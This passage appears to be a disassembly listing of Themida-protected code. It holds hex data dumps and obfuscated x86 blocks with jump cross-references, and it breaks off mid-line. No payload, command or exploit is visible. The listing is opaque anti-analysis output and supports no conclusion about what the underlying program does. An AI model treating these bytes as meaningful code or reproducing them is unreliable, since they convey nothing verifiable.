0E1C053B1h, 91F18003h, 0FE04E9C0h, 80C1FEC1h dd 0CC3085F1h, 0FACE959h, 89500000h, 405E0h, 0C0830000h dd 24048702h, 0E3C1665Ch, 965AE904h, 48BFFFFh, 0A14FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5514FA: ; CODE XREF: Themida_:0054E4FFj xchg edx, ebp xor eax, ebp jmp loc_54E6AD ; --------------------------------------------------------------------------- loc_551503: ; CODE XREF: Themida_:00550E9Cj pop dx pop dx push edx push eax mov ah, 0BFh jmp loc_550138 ; --------------------------------------------------------------------------- dd 2474FF51h, 240C8B04h, 4C481h, 48F0000h, 68665C24h, 896674FCh dd 0B450240Ch, 0D2F48004h, 8840C480h, 0EC8158E1h, 4, 0B7241C89h dd 47EF80C3h, 0E5E95166h, 25FFFFBDh, 1B3B4AB2h, 18023635h dd 0A321E918h, 34FFFFFFh, 241C8B24h, 0E9E18951h, 0FFFFCB54h dd 0C8B60F66h, 0E99C5166h, 0FFFF5980h, 809EEB80h, 76E901C3h dd 0FFFFFFB2h, 669D1C77h, 24041058h, 5966E99Ch, 8F5CFFFFh dd 248B2404h, 9CC88424h, 0FF5957E9h, 247431FFh, 24348B04h dd 4C481h, 0FDE90000h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5515AF: ; CODE XREF: Themida_:0054A04Ej mov eax, esp add eax, 4 jmp loc_550E32 ; --------------------------------------------------------------------------- db 8Bh dd 0D3662424h, 0E99C2424h, 0FFFF592Ch ; --------------------------------------------------------------------------- loc_5515C8: ; CODE XREF: Themida_:00549B2Cj xor dh, 2Ch push ecx jmp loc_5512F2 ; --------------------------------------------------------------------------- db 68h, 0C3h, 30h dd 4890000h, 892AE924h, 0A6BFFFFFh, 0E97B7B74h, 0FFFFEA31h dd 81C8295Dh, 4ECh, 241C8900h, 0FF29C5BBh, 0A7C38162h dd 0E940FA0Fh, 0FFFFBC1Dh, 9D1C77FFh, 11665866h, 0E99C2404h dd 0FFFF58E0h, 15F968h, 24348900h, 2BEh, 0C1C78100h, 171AA7Eh dd 94E3E9F7h, 2DADFFFFh, 67CF3F41h, 72D6BB53h, 0BA521C29h dd 558F1C8Ah, 33C2814Ah, 1EB191Dh, 0D8295AD0h, 39BCBB53h dd 0D82940A8h, 0E5F1E95Bh, 0CA81FFFFh, 1FE97148h, 0DB1F281h dd 0D1310163h, 8124148Bh, 4C4h, 4C18100h, 1F2CC95h, 0FF5259CAh dd 5A042474h, 5C24048Fh, 9C2404FFh, 0FF5867E9h db 0FFh ; --------------------------------------------------------------------------- loc_55168D: ; CODE XREF: Themida_:0054D55Fj mov [esp], eax jmp loc_54AF2A ; --------------------------------------------------------------------------- db 0ACh, 4, 0EDh dd 47E9722Ch, 0F6FFFFECh, 2CEC80D4h, 801ACC80h, 0E3008BECh dd 0FF8176E9h, 50E689FFh, 4B8h, 58C60100h, 0FFA759E9h dd 241489FFh, 0FFC408E9h, 241C8BFFh, 0FF04C483h, 0E9582434h dd 0FFFFF9A5h, 50243489h, 30FCBB53h, 5C015B5Ah, 0D8E90424h dd 66FFFF5Ch, 8950E9F7h, 0EDF6E9E0h, 4CB8FFFFh, 5150E33Eh dd 0FF9954E9h, 24248BFFh, 0FFC82BE9h, 665566FFh, 664B9ABDh dd 5D66EB01h, 1BC38166h, 0C329666Ah, 1BEB8166h, 0ADE9516Ah db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551727: ; CODE XREF: Themida_:00552238j shr ebx, 3 neg ebx sub esp, 4 jmp loc_54810E ; --------------------------------------------------------------------------- dd 36E9CF01h, 80FFFFDFh, 0E2C61EDh, 0E828682Ch, 0E912B652h dd 0FFFFE95Bh, 2922BB53h, 0B85034CCh, 18A86ECDh, 0D37F0105h dd 68D0F75Ah, 0 dd 0FFF280E9h, 240C8BFFh, 0E9E68956h, 0FFFFB233h, 0E1895159h dd 0ECDBB53h, 0EB810C8Ah, 0C8A0EC9h, 835BD901h, 0C8704E9h dd 3C895C24h, 0AB2BF24h, 5FE95F04h, 8100000Fh, 0A97483EFh dd 81D70116h, 0A97483C7h, 1310E916h, 0C8B0000h, 4C48324h dd 0FFEC26E9h db 0FFh ; --------------------------------------------------------------------------- loc_5517B9: ; CODE XREF: Themida_:00551E27j mov ah, 0B6h jmp loc_54BB40 ; --------------------------------------------------------------------------- dd 5FCF6866h, 0FFE76EE9h, 4EC81FFh, 89000000h, 74FF2404h dd 48B0424h, 4C48324h, 8B24048Fh, 24D22424h, 9E99C24h dd 83FFFF57h, 148904ECh, 51E28924h, 0FFC5EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5517F9: ; CODE XREF: Themida_:0054CF12j mov ah, 8Eh mov cl, 2Eh sub cl, 0B3h sub cl, ah add cl, 0B3h pop eax sub dh, cl pop cx jmp loc_54B098 ; --------------------------------------------------------------------------- db 68h dd 0F41h, 50242C89h, 0FF874CE9h, 0E78957FFh, 0FF6ECEE9h dd 4C481FFh, 81000000h, 0C6D12DEBh, 8BDE311Dh, 0C481241Ch dd 4, 348BF331h, 4C48124h, 81000000h, 0BE7FD9CBh, 1E3814Dh dd 0E91B0A62h, 0FFFF6C63h, 815EF329h, 0D651BDC3h, 0EB815A09h dd 0FDF4E5B2h, 0FF5830E9h, 72E781FFh, 81774316h, 0C1BC16EFh dd 5FFD29D5h, 0F409F581h, 0E9521C23h, 0FFFFF1AAh ; --------------------------------------------------------------------------- loc_551888: ; CODE XREF: Themida_:0054C5B2j mov [esp], ebp mov ebp, 49957FD7h or ebx, ebp mov ebp, [esp] push ebp mov ebp, esp jmp loc_549160 ; --------------------------------------------------------------------------- loc_55189D: ; CODE XREF: Themida_:0054A84Aj mov ecx, [esp] push edi mov edi, esp push eax mov eax, 6A655449h dec eax add eax, 6E2B4EC3h xor eax, 0D890A30Fh add edi, eax jmp loc_54748A ; --------------------------------------------------------------------------- db 5Fh dd 2BDE95Ah, 0D8010000h, 8E8C15Bh, 9103E0C1h, 2D91D1F7h dd 0CF58FC44h, 0FFFE73E9h db 0FFh ; --------------------------------------------------------------------------- loc_5518D9: ; CODE XREF: Themida_:005519ACj mov esp, [esp] or eax, eax jnz loc_54CAE1 push ebx mov ebx, 79D9356Ch or ebx, 70B421A1h add ebx, 8602CA14h jmp loc_54E0E2 ; --------------------------------------------------------------------------- db 5Fh dd 0FF594FE9h, 12DFFh, 7B0D0000h, 0E97FF053h, 0FFFF88C0h dd 4716E681h, 0EE812C63h, 2C630412h, 38BB53h, 0A3E90000h dd 5EFFFFF3h, 3BD5558h, 814CE676h, 6F3449CDh, 0F7554D29h dd 815D2414h, 80F616C5h, 0A3CAE9B9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551946: ; CODE XREF: Themida_:0054FB05j pop edi jmp loc_54E993 ; --------------------------------------------------------------------------- dd 52241C8Bh, 0C281E289h, 4, 8704C283h, 665C2414h, 592CE952h dd 0EC83FFFFh, 241C8904h, 5B241CF6h, 0FFA7E2E9h, 0D3BD55FFh dd 1103F04h, 2434FFEAh, 83242C8Bh, 0C48104C4h, 4, 0FF5563E9h db 0FFh ; --------------------------------------------------------------------------- loc_551991: ; CODE XREF: Themida_:0054D743j sub esi, 4 push esi jmp loc_54FBED ; --------------------------------------------------------------------------- loc_55199D: ; CODE XREF: Themida_:00550910j xchg edx, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_5518D9 ; --------------------------------------------------------------------------- db 52h, 0B2h, 31h dd 28B1F280h, 566FE9D3h, 8966FFFFh, 2DE92404h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5519C7: ; CODE XREF: Themida_:0055052Bj mov [esp], eax mov eax, 7AAB159Ah mov ebp, 85D4EA66h add ebp, eax mov eax, [esp] add esp, 4 and eax, ebp push dword ptr [esp] pop ebp jmp loc_54A11D ; --------------------------------------------------------------------------- loc_5519E7: ; CODE XREF: Themida_:0054D9C9j pop esp sub bl, 45h push eax mov al, 7Ah sub al, 3Ah xor al, 67h add bl, al pop eax add bl, al jmp loc_54ABEB ; --------------------------------------------------------------------------- dd 2B850h, 0C5010000h, 242C8758h, 0D224248Bh, 0E99C240Ch dd 0FFFF54E0h, 4C5835Bh, 0E9242C87h, 0FFFFD2FAh ; --------------------------------------------------------------------------- loc_551A20: ; CODE XREF: Themida_:0054DACCj mov [esp], ebx push edi jmp loc_548FE7 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0FFE4C0E9h, 4C483FFh, 57E08950h, 4C6150BFh, 53DFF774h dd 0BBh, 89FB2900h, 47475BDFh, 5204E7C1h, 0C61524BAh, 9247E944h dd 22B0FFFFh, 0E9517D24h, 0FFFF7527h ; --------------------------------------------------------------------------- loc_551A64: ; CODE XREF: Themida_:005509D9j jmp loc_546EF4 ; --------------------------------------------------------------------------- db 66h, 8Fh, 4 dd 0E9316624h, 0FF7DA7E9h, 79F268FFh, 4890000h, 52E08924h dd 0FF8534E9h, 0C8B66FFh, 0F786824h, 3C890000h, 81E78924h dd 4C7h, 4EC8100h, 89000000h, 0E9512434h, 0FFFF7AB7h, 0FC48E950h dd 525FFFFFh, 5F0B06BAh, 4AD2F757h, 0F4FCF281h, 0EB81A8A0h dd 4A0B3EF2h, 0C381D301h, 4A0B3EF2h, 8324148Bh, 1C8704C4h dd 24248B24h, 51C8AF0Fh, 5412E99Ch, 1487FFFFh, 24248B24h dd 242CD366h, 5402E99Ch, 8B66FFFFh, 8956240Ch, 0C1BB53E6h dd 81592B3Dh, 0A8368FF3h, 2E3C169h, 0FDF38143h, 43158312h dd 0BE565052h, 7E9F553Bh, 17CC48B8h, 5EF029CDh, 0D553002Dh dd 8E0C102h, 93D3F793h, 4CC30548h, 81507AB3h, 2F632434h dd 0E95A67CDh, 0FFFF9AADh, 0CF885358h, 0FFF830E9h db 0FFh ; --------------------------------------------------------------------------- loc_551B49: ; CODE XREF: Themida_:0054D4E8j dec esi xor esi, 43F9788Fh sub ecx, esi pop esi push dword ptr [ecx] sub dword ptr [esp], 3466471Ch jmp loc_550CBA ; --------------------------------------------------------------------------- loc_551B61: ; CODE XREF: Themida_:0054E3C8j mov eax, [esp] jmp loc_54B858 ; --------------------------------------------------------------------------- db 55h, 0BDh, 0AEh dd 83248A10h, 36E901C5h, 0ACFFFFCEh, 58E9D830h, 5FFFFBEh dd 2, 8B240487h, 0EC812424h, 4, 68241489h, 0CFh, 0B7241C89h dd 2EC814Bh, 66000000h, 0B2241489h, 0E9D720BCh, 0FFFFECE8h dd 7A75B951h, 0C1813FC1h, 0DDF0FED6h, 0FF7AA2E9h, 4C481FFh dd 83000000h, 148702EAh, 24248B24h, 240C8966h, 0FFE599E9h dd 241489FFh, 0FBD68h, 0B81EE900h, 895CFFFFh, 5A542414h dd 0FFB794E9h, 0E6E954FFh, 50FFFF86h, 0EF5799B8h, 0B9BD5566h dd 2151EB13h, 0E8C15DE8h, 45DB2503h, 0E8D109A8h, 0A9A0548h dd 0ED811D6Dh, 1D3C352Fh, 0C581C501h, 1D3C352Fh, 41F58158h dd 31006F96h, 0B5E95DE9h, 0FFFFFF5Ah, 68582434h, 518Dh dd 68241C89h, 42B5h, 81242489h, 42404h, 1C8B0000h, 4C48324h dd 23F168h, 24048900h, 8416EBB8h, 733257Eh, 0E8C10C43h dd 48D0F708h, 1170CC2Dh, 28BD554Ch, 29B3E28Fh, 0C3015DE8h dd 0FFE0FBE9h, 57565EFFh, 13316668h, 243C8B68h, 4704C483h dd 0A6EF8147h, 5052A3FAh, 0C689F889h, 3A8E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551CA2: ; CODE XREF: Themida_:0054A1E9j push 1124h mov [esp], esi push esp mov esi, [esp] add esp, 4 push ecx jmp loc_54E5AB ; --------------------------------------------------------------------------- dw 6655h dd 66683DBDh, 23C2F581h, 0BEF58166h, 0CC95E907h, 0E0B8FFFFh dd 50501602h, 70242C81h, 5A148D13h, 1370C281h, 3158148Dh dd 31D531EAh, 9284E9EAh, 1E9FFFFh, 58FFFF52h, 0AAF3CA05h dd 58C78913h, 815FFA89h, 0FB693AC2h, 0EBC6E96Eh, 8952FFFFh dd 4C281E2h, 81000000h, 4C2h, 0BB0E900h, 0DAF70000h, 0EC83DAF7h dd 241C8904h, 0FF5D7EE9h, 81D5F7FFh, 7721CEDh, 5DE829B4h dd 0FF6E3BE9h, 66D000FFh, 66E42C5Ah, 0B2525351h, 0F6B652F8h dd 305AF788h, 567AE9D7h, 0F329FFFFh, 0FF5F39E9h db 0FFh ; --------------------------------------------------------------------------- loc_551D5D: ; CODE XREF: Themida_:0054F05Bj push eax jmp loc_5499DF ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF518Ch ; --------------------------------------------------------------------------- loc_551D68: ; CODE XREF: Themida_:0054D7E1j mov edx, 27AC62CFh add edx, 3D5A682Fh xor edx, 6B32E83h sub edx, 1 shl edx, 8 sub edx, 5CCD1FCDh add edx, 0A6E8A3D1h add esi, edx mov edx, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_54D919 ; --------------------------------------------------------------------------- loc_551DA8: ; CODE XREF: Themida_:0054D969j push 2E27h mov [esp], eax mov eax, 57823351h sub eax, 3386419Ch jmp loc_549115 ; --------------------------------------------------------------------------- db 2Dh dd 621482FCh, 0E958C101h, 0FFFFC97Eh, 6C780B0Dh, 0A912E932h dd 3568FFFFh, 89000012h, 0EC83241Ch, 48F5404h, 4BD5524h dd 1000000h, 5D04246Ch, 43E9515Bh, 8BFFFF6Eh, 4292424h dd 0F1E99C24h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551E03: ; CODE XREF: Themida_:0054FE69j push ax mov ah, 0A5h sub bl, ah mov ax, [esp] add esp, 2 add bl, al sub esp, 4 mov [esp], eax mov ah, 0A5h sub bl, 0BDh add bl, ah push 4437h mov [esp], eax jmp loc_5517B9 ; --------------------------------------------------------------------------- loc_551E2C: ; CODE XREF: Themida_:0054D048j xchg ebp, [esp] not ebp xchg ebp, [esp] jmp loc_54E836 ; --------------------------------------------------------------------------- db 53h, 0BBh, 41h dd 167CF3Fh, 2434FFD8h, 0FFB204E9h db 0FFh ; --------------------------------------------------------------------------- loc_551E49: ; CODE XREF: Themida_:0054DC64j pop esi sub edx, 457325D1h jmp loc_551F1F ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 16E9008Fh, 0FFFFFF8Ah, 53592434h, 0FF7A34E9h db 0FFh ; --------------------------------------------------------------------------- loc_551E69: ; CODE XREF: Themida_:00547CA8j xor eax, ecx xchg eax, edx push edx xchg ebp, [esp] push 3819h mov [esp], ebp jmp loc_54E739 ; --------------------------------------------------------------------------- db 66h, 8Fh, 2 dd 0FF506FE9h, 243C8BFFh, 81E28952h, 4C2h, 4C28300h, 0FF9600E9h dd 0D831ADFFh, 6F6DBD55h, 0F58156A4h, 41781E8Dh, 1FFDBA52h dd 0D2F770F0h, 747BF57h, 0F78143A4h, 4B168D9h, 15FFA29h dd 0AE0FE9D0h, 0FD2DFFFFh, 81E0137Fh, 4F5F19C6h, 81C60146h dd 4F5F19EEh, 0E9515846h, 0FFFF902Dh, 0C1E9452Ch, 81FFFFBFh dd 4C4h, 2BF5700h, 1000000h, 243C8BFBh, 81E68956h, 4C6h dd 4BA5200h, 1000000h, 34875AD6h, 1C875C24h, 24248B24h dd 0F66E1F6h, 0C9E9CCB6h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551F1F: ; CODE XREF: Themida_:00551E50j sub edx, esi jmp loc_54AB27 ; --------------------------------------------------------------------------- dw 0F301h dd 0FF5D3CE9h, 0F4EA80FFh, 0FFCBFAE9h db 0FFh ; --------------------------------------------------------------------------- loc_551F35: ; CODE XREF: Themida_:0054AE14j pop edx jmp loc_548F7F ; --------------------------------------------------------------------------- db 29h dd 27E95BD8h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_551F43: ; CODE XREF: Themida_:0054C973j push ebx mov ebx, 656B2021h not ebx xor ebx, 39B60F45h jmp loc_54D767 ; --------------------------------------------------------------------------- dw 0B6BEh dd 29515268h, 0EA015EF2h, 0FFEAEAE9h db 0FFh ; --------------------------------------------------------------------------- loc_551F65: ; CODE XREF: Themida_:0054A805j mov [esp], ebx push ecx mov ecx, 5A745B36h xor [esp+4], ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 push edi mov edi, 5A745B36h jmp loc_550718 ; --------------------------------------------------------------------------- dd 805AD100h, 0C680E5C6h, 80CE00B9h, 0EE80B9EEh, 240C8BE5h dd 0E904C483h, 0FFFFE7E1h, 4EC81ADh, 89000000h, 57BF243Ch dd 0E913365Ah, 0FFFF8E19h, 0E9E68956h, 0FFFFBEF5h ; --------------------------------------------------------------------------- loc_551FC8: ; CODE XREF: Themida_:0054E9BEj xor edx, 68464947h dec edx not edx jmp loc_54C09B ; --------------------------------------------------------------------------- dw 5BDh dd 51088D15h, 0FFDAD5E9h, 13840FFFh, 55FFFF78h, 0F87CB4BDh dd 0A8D1E930h, 0C781FFFFh, 68E89523h, 15FF929h, 0F767E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552002: ; CODE XREF: Themida_:005513C4j pop edx push ecx mov ecx, 24h add ecx, edi jmp loc_54A7F7 ; --------------------------------------------------------------------------- loc_552010: ; CODE XREF: Themida_:00548EB3j xor ebp, 0D06A02DCh jmp loc_54B86E ; --------------------------------------------------------------------------- db 89h dd 74FF2414h, 8F5A0424h, 0A8E92404h, 5AFFFFE7h, 6F98CF81h dd 0DFF775D7h, 8103EFC1h, 0FA4101C7h, 0FCF7810Dh, 172B866h dd 5A45E9F8h, 0F75FFFFFh, 0FDE950DEh, 87FFFF6Bh, 95C243Ch dd 0E99C2404h, 0FFFF4E94h, 3035FF05h, 5C7E955h, 0E95F0000h dd 0FFFFD871h, 4C181h, 0C1810000h, 4, 8B240C87h, 48B2424h dd 0EC835324h, 56F5E904h, 0F028FFFFh, 0E9A22C5Ah, 0FFFFF01Eh dd 8304C483h, 2C8904ECh, 0AACEE924h, 0EFD0FFFFh, 804CF780h dd 78E917EFh, 5CFFFF86h, 8904EC83h, 5D54242Ch, 4C581h dd 0C5810000h, 4, 31242C33h, 2C33242Ch, 24248B24h, 8B68F9F7h dd 0E9000074h, 0FFFF95A9h, 2D30FEB8h, 72D02D6Eh, 0D0F7486Dh dd 0E8C1D8F7h, 5054E907h, 0BF57FFFFh, 4, 3C8BF801h, 4C48324h dd 0E904C083h, 0FFFFD342h, 8B243433h, 34892424h, 815E5424h dd 4C6h, 17E95300h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552123: ; CODE XREF: Themida_:00547311j or eax, 7C80230Fh jmp loc_547C7A ; --------------------------------------------------------------------------- db 50h, 0E9h, 27h dd 0E9FFFFF9h, 0FFFF4DBCh ; --------------------------------------------------------------------------- loc_552138: ; CODE XREF: Themida_:00551139j pop ecx sub esp, 2 mov [esp], cx mov cl, 0A8h sub dh, cl pop cx xor al, dh mov edx, [esp] push 34F8h mov [esp], edx jmp loc_54D677 ; --------------------------------------------------------------------------- db 2Dh dd 313364C1h, 6A3DEF81h, 0C7012A63h, 6A3DC781h, 52582A63h dd 4BAh, 0ED3DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55217A: ; CODE XREF: Themida_:0054734Dj mov ecx, [esp] add esp, 4 pop edx sub esp, 4 jmp loc_54C01A ; --------------------------------------------------------------------------- dd 24248B66h, 0FF4D5FE9h db 0FFh ; --------------------------------------------------------------------------- loc_552195: ; CODE XREF: Themida_:00552A4Cj mov ecx, [esp] add esp, 4 push ebp mov ebp, 5B5D74D7h sub ebp, 34281AB6h jmp loc_54EBD2 ; --------------------------------------------------------------------------- db 53h dd 88C18851h, 0DA8859CBh, 81FFE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5521BE: ; CODE XREF: Themida_:0054ADB4j mov [esp], ebx sub esp, 4 jmp loc_551312 ; --------------------------------------------------------------------------- db 55h, 0E9h, 0DBh dd 0B8FFFF7Ah, 47AA2C1Bh, 0FFCC58E9h, 4EB83FFh, 0C664E953h dd 74FFFFFFh, 8F5D0424h, 8FE92404h db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5521EF: ; CODE XREF: Themida_:0054820Ej pop esi add eax, 1BF16FC3h add eax, edx jmp loc_54B77E ; --------------------------------------------------------------------------- dd 4C481h, 0EB830000h, 241C8704h, 0E924248Bh, 0FFFFEA92h ; --------------------------------------------------------------------------- loc_552210: ; CODE XREF: Themida_:0054F266j add ebp, 4 push edx mov edx, 4 add ebp, 1A2D54D8h jmp loc_54ED38 ; --------------------------------------------------------------------------- loc_552227: ; CODE XREF: Themida_:00549AEFj neg edx xchg eax, edx xchg eax, ecx jmp loc_551018 ; --------------------------------------------------------------------------- loc_552230: ; CODE XREF: Themida_:00549898j push eax push ebx push 51FE12B8h pop ebx jmp loc_551727 ; --------------------------------------------------------------------------- db 4Ah, 81h, 0EAh dd 0E72D327Bh, 0EEBD5550h, 89709E2Ah, 0CB2DE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552252: ; CODE XREF: Themida_:00547209j mov esp, [esp] jmp loc_547C4A ; --------------------------------------------------------------------------- loc_55225A: ; CODE XREF: Themida_:00548322j sub [esp+4], edx mov edx, [esp] add esp, 4 pop ecx push ebx push 7F9810BFh pop ebx inc ebx not ebx push ebx not dword ptr [esp] jmp loc_54C8D1 ; --------------------------------------------------------------------------- loc_552278: ; CODE XREF: Themida_:0054C7AFj add esp, 4 add esp, 4 shr ecx, 6 push ebx mov eax, [esp] push edx push esp mov edx, [esp] add esp, 4 add edx, 4 push ebx sub esp, 4 mov [esp], edi push 33A82AF6h pop edi jmp loc_552BE2 ; --------------------------------------------------------------------------- dw 0BE56h dd 574369C5h, 1F61E681h, 0C6817549h, 5DC27B6Dh, 27DEBB53h dd 0E38130B4h, 29434DBCh, 592E381h, 4B4B7AF3h, 4F10CB81h dd 0F38175FFh, 0C02233A7h, 15BDE01h, 762D5EF0h, 816D63E4h dd 0CF56C6C6h, 0E9C6015Fh, 0FFFF9F4Ch, 8006EBC0h, 87E9FFEBh dd 29FFFF84h, 1EF81C7h, 0E9742B1Fh, 0FFFFEC57h, 0DDE9028Fh dd 88FFFF4Bh, 5AD388EAh, 0C0C3FE59h, 0EC8302E3h, 0C896602h dd 8DB4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55232E: ; CODE XREF: Themida_:0054A492j push edx jmp loc_547AA1 ; --------------------------------------------------------------------------- dd 9692E950h, 0C681FFFFh, 136C6AC1h, 0FF59F3E9h, 0C8B54FFh dd 4C48124h, 0E9000000h, 0FFFFF815h ; --------------------------------------------------------------------------- loc_552354: ; CODE XREF: Themida_:005524CAj add ecx, edx jmp loc_5478B8 ; --------------------------------------------------------------------------- db 5 dd 4, 5A3A68h, 243C8900h, 6CE9E789h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55236F: ; CODE XREF: Themida_:0054DD14j mov [esp], edx mov edx, 1 push edi mov edi, 23085F6Eh push eax jmp loc_54BDD2 ; --------------------------------------------------------------------------- db 87h dd 85C2414h, 0E99C2404h, 0FFFF4B64h, 58C2895Eh, 15AD589h dd 0C335DE9h, 240C3124h, 0FF6884E9h, 49E95AFFh db 4Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5523AB: ; CODE XREF: Themida_:0054A47Bj sub ebp, 18F97AB1h inc ebp jmp loc_54B749 ; --------------------------------------------------------------------------- db 89h dd 9ABD242Ch, 81192972h, 1EDh, 0CDE58100h, 816A1801h, 8008BF5h dd 0B9BF5708h, 816BAD4Ch, 927E8FF7h, 0EF814733h, 1013DC64h dd 815FFA01h, 356207EAh, 81EA015Dh, 356207C2h, 0D3EA815Dh dd 8B482B55h, 0C481242Ch, 4, 25E568h, 0FC0DE900h, 59FFFFh dd 4EC81E8h, 89000000h, 0EC81240Ch, 4, 0FF97FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_552425: ; CODE XREF: Themida_:00548237j pop ebx pop ebp jmp loc_54C7E5 ; --------------------------------------------------------------------------- loc_55242C: ; CODE XREF: Themida_:0054ECAFj mov [esp], ecx mov ecx, 713C9A5Bh push esi mov esi, 58C3E3Dh jmp loc_54FFA0 ; --------------------------------------------------------------------------- db 89h dd 0E589242Ch, 67C8E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55244A: ; CODE XREF: Themida_:0054939Aj mov [esp], esi jmp loc_548D67 ; --------------------------------------------------------------------------- dw 0D329h dd 0FF739FE9h, 5E981FFh, 29CAC7FFh, 0D70559C8h, 2500956Dh dd 6E8736F3h, 0E906E0C1h, 0FFFF4EF7h, 0E9240C89h, 0FFFFFEC9h dd 0C10DE60Dh, 7627E901h, 0D4F6FFFFh, 0FF5501E9h, 62C581FFh dd 597B6E08h, 3304C583h, 2C31242Ch, 242C3324h, 240CFF5Ch dd 4A4AE99Ch, 0A9B8FFFFh, 2D0FC262h, 3EB64759h, 142F4D2Dh dd 295B051Ch, 0D0F767FDh, 0FFCE17E9h db 0FFh ; --------------------------------------------------------------------------- loc_5524C5: ; CODE XREF: Themida_:00549C56j mov ecx, 0 jmp loc_552354 ; --------------------------------------------------------------------------- db 35h dd 600504C1h, 3F05BB53h, 68E96034h, 59FFFF5Fh, 74306853h dd 4890000h, 7713E924h, 0F281FFFFh, 30DB0005h, 8B5AD529h dd 0C4832434h, 2C58304h, 8904EC83h, 74FF242Ch, 8F5D0424h dd 248B2404h, 2424D224h, 0CB9BE99Ch, 0F381FFFFh, 5A7D081Fh dd 4060F381h, 0F3811731h, 17472A4Ch, 0E95BD889h, 0FFFF791Eh ; --------------------------------------------------------------------------- loc_552534: ; CODE XREF: Themida_:0054F8CEj pop esp jmp loc_54CCC3 ; --------------------------------------------------------------------------- dw 0B5E9h dd 1FFFF49h, 0ACED81F5h, 5E71BB16h, 5C242C87h, 240C8B66h dd 0E904EC83h, 0FFFFF681h, 592434FFh, 0FF4E75E9h, 54C281FFh dd 0E95CB03Ch, 0FFFF9B77h, 94242C81h, 0E9094C56h, 0FFFF497Ch ; --------------------------------------------------------------------------- loc_552578: ; CODE XREF: Themida_:0054C655j mov [edi+20h], ecx pop ecx jmp loc_548894 ; --------------------------------------------------------------------------- loc_552581: ; CODE XREF: Themida_:005499DAj push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_54FCF0 ; --------------------------------------------------------------------------- loc_552595: ; CODE XREF: Themida_:0054A30Ej xor eax, 0CCACA8FBh jmp loc_54F39F ; --------------------------------------------------------------------------- db 1 dd 13E958C3h, 1FFFF83h, 0BD555EF7h, 1A8F5B74h, 81D5F745h dd 70A488EDh, 0E9EF01E5h, 0FFFF6036h, 3104C483h, 31FE31F7h dd 0DFDFE9F7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5525CE: ; CODE XREF: Themida_:005488ECj add edi, 69834A0Dh jmp loc_5495B0 ; --------------------------------------------------------------------------- loc_5525D9: ; CODE XREF: Themida_:00549412j add ecx, 630B4BADh add ecx, 4BD21A7Eh add ecx, edi sub ecx, 4BD21A7Eh jmp loc_54DA1E ; --------------------------------------------------------------------------- loc_5525F2: ; CODE XREF: Themida_:0054B03Bj sub esi, 662D42D6h jmp loc_54D4E2 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 1000000h, 2434FFE9h, 4C4835Dh, 2C181h, 0C870000h, 0E55FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55261A: ; CODE XREF: Themida_:0054B1A4j mov ebp, [esp] add esp, 4 push ebx push 1507390Ah push dword ptr [esp] jmp loc_54C52F ; --------------------------------------------------------------------------- db 0D1h, 0E0h, 5 dd 1F363DFBh, 0AB990535h, 0E9C7013Bh, 0FFFF6AC8h, 81242C8Bh dd 4C4h, 8BDE0100h, 0C483241Ch, 2CE66804h, 3C890000h, 2BF24h dd 0FE010000h, 83243C8Bh, 348704C4h, 0B08BE924h, 0FCBFFFFFh dd 89000003h, 5EE95FF8h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55267F: ; CODE XREF: Themida_:005506E2j add edx, edi pop edi xor edx, 64540C22h and ecx, edx mov edx, [esp] jmp loc_548D8D ; --------------------------------------------------------------------------- dw 30ACh dd 4D1768D8h, 1C890000h, 0B7B55124h, 0C007E5C0h, 0D5F606EDh dd 0E950D5F6h, 0FFFFE186h, 8B24048Fh, 39E92424h, 5DFFFF48h dd 8B24048Fh, 0C3E92424h, 66FFFF5Bh, 0EB81665Bh, 48E94C41h dd 0FFFFFFCAh, 0C8B2434h, 0D1C4E924h, 875CFFFFh, 0FF5C243Ch dd 48B2434h, 4C48324h, 8904EC83h, 0E589242Ch, 0C449E952h dd 0E952FFFFh, 0FFFFAABCh, 4C681h, 21E90000h, 0DFFFF7Fh dd 1C286AE4h, 0AFE9D0F7h, 5FFFFFF7h, 5C240487h, 24048966h dd 0FF47CFE9h, 4C181FFh, 81000000h, 4C1h, 240C8700h, 7BB9515Ch dd 8155DA13h, 542D2AF1h, 0CBC18117h, 1E4B1FFh, 0B4E959C8h dd 5EFFFFA3h, 4EC81h, 4890000h, 7425E924h, 0C89FFFFh, 562BB924h dd 0F1815CFFh, 5CFF562Fh, 1310BF57h, 0DFF7645Bh, 0E7C1E7D1h dd 81D7F702h, 60AB12C7h, 8BFD2951h, 5457243Ch, 4C7815Fh dd 81000000h, 4C7h, 243C8700h, 81CD015Ch, 394391C5h, 0C5815974h dd 2, 8C16E955h, 0BB53FFFFh, 2E840866h, 